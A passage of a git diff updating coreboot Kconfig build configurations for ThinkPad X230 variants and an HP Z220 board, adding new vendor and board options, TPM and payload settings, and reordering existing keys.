CONFIG_VENDOR_SAMSUNG is not set @@ -105,7 +111,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_FAMILY="ThinkPad X230" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" @@ -122,23 +130,29 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="x230" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/x230_edp/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -157,7 +171,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -165,7 +178,11 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -185,6 +202,7 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -199,19 +217,20 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 CONFIG_BOARD_LENOVO_X230_EDP=y # CONFIG_BOARD_LENOVO_X60 is not set CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -255,7 +274,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -275,6 +294,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -298,6 +318,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -321,6 +342,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set CONFIG_RAMINIT_ENABLE_ECC=y +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -383,6 +409,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -390,7 +417,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -405,6 +432,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -425,7 +456,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -460,6 +491,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -486,6 +518,7 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVER_LENOVO_SERIALS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y @@ -530,15 +563,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -624,6 +657,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -634,10 +668,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -673,7 +705,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 1f898e3fa..6745203b1 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -39,7 +38,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -57,10 +55,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -69,22 +68,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -95,6 +100,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -105,7 +111,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_FAMILY="ThinkPad X230" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" @@ -122,23 +130,29 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="x230" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -157,7 +171,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -165,7 +178,11 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -185,6 +202,7 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -199,18 +217,19 @@ CONFIG_BOARD_LENOVO_X230=y # CONFIG_BOARD_LENOVO_X230_EDP is not set # CONFIG_BOARD_LENOVO_X60 is not set CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -254,7 +273,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -274,6 +293,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -297,6 +317,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -320,6 +341,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set # CONFIG_RAMINIT_ENABLE_ECC is not set +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -382,6 +408,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -389,7 +416,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -404,6 +431,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -424,7 +455,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -457,6 +488,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -483,6 +515,7 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVER_LENOVO_SERIALS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y @@ -528,15 +561,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -622,6 +655,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -632,10 +666,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -671,7 +703,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index e03169aaa..c5d5f54da 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -41,7 +40,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -59,10 +57,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -71,22 +70,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is 